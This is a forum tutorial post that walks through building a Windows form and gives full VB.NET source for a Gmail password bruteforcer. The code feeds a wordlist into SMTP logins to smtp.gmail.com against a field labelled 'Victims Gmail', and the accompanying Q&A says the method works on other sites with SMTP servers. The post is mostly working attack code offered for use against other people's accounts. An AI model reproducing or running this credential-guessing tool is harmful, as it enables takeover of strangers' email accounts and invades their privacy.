Hello,

Q&A

What is a bruteforcer?
- A bruteforcer uses a password list and trys to login with all those passwords.

What method do you use?
- I use the sending mail method with smtp servers if it sends the mail succesfully you have the password!

Is it onley for gmail?
- No you can use it for every site that has smtp servers.

Does it also work for msn?
- I don't know I haven't tested the smtp server of live. Maby it works or maby the account freezes.

___________________________________________

Let's get started.

1. Create 1st textbox.
2. Create second textbox. and set: [enabled = false]
3. Create third textbox. and set: [visible = false]
4. Create 1st button. and set [text = ...]
5. Place 1st button next to second textbox.
6. Create 2nd button. and set [text = bruteforce]
7. Create 1st label. and set [text = Victims Gmail:]
8. Place 1st label near textbox1.
9. Create 2nd label. and set [text = Password list:]
10. Place 2nd label near textbox 2.
11. Add an openfiledialog.
Now your gui should like this:

You must login or register to view this content.

11. Open the source and paste this.

    

Imports System.Net.Mail

Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        OpenFileDialog1.Title = "Please Select a File"

        OpenFileDialog1.AddExtension = True

        OpenFileDialog1.Filter = "Text Files (*.txt) |*.txt"

        OpenFileDialog1.ShowDialog()

    End Sub



    Private Sub OpenFileDialog1_FileOk(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles OpenFileDialog1.FileOk

        Dim strm As System.IO.Stream

        strm = OpenFileDialog1.OpenFile()

        TextBox2.Text = OpenFileDialog1.FileName.ToString()

        If Not (strm Is Nothing) Then

            strm.Close()

        End If

    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

        emailloop()

    End Sub

    Sub emailloop()

        Dim objReader As New System.IO.StreamReader(TextBox2.Text)

        For i As Int32 = 0 To 100000

            TextBox3.Text = objReader.ReadLine

            If TextBox3.Text = "" Then MsgBox("Password not found")

            Try

                Dim mail As New MailMessage

                mail.To.Add("[email protected]")

                mail.From = New MailAddress(TextBox1.Text)

                mail.Subject = "test123"

                mail.Body = "test123"

                Dim SMTP As New SmtpClient("smtp.gmail.com")

                SMTP.Port = 587

                SMTP.EnableSsl = True

                SMTP.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox3.Text)

                SMTP.Send(mail)

                MsgBox("Mail: " + TextBox1.Text + " Password: " + TextBox3.Text)

            Catch ex As Exception

            End Try

        Next

    End Sub

End Class

Screenshot of source:

You must login or register to view this content.

To Do List:
- Let the loop stop when password found.
- Adding more server(will be in my release)
____________________________________
For wordlist goto: You must login or register to view this content.
Credits, goes to me for making tutorial:cool:

Having any problems let me know.
[deleted]

Greetings,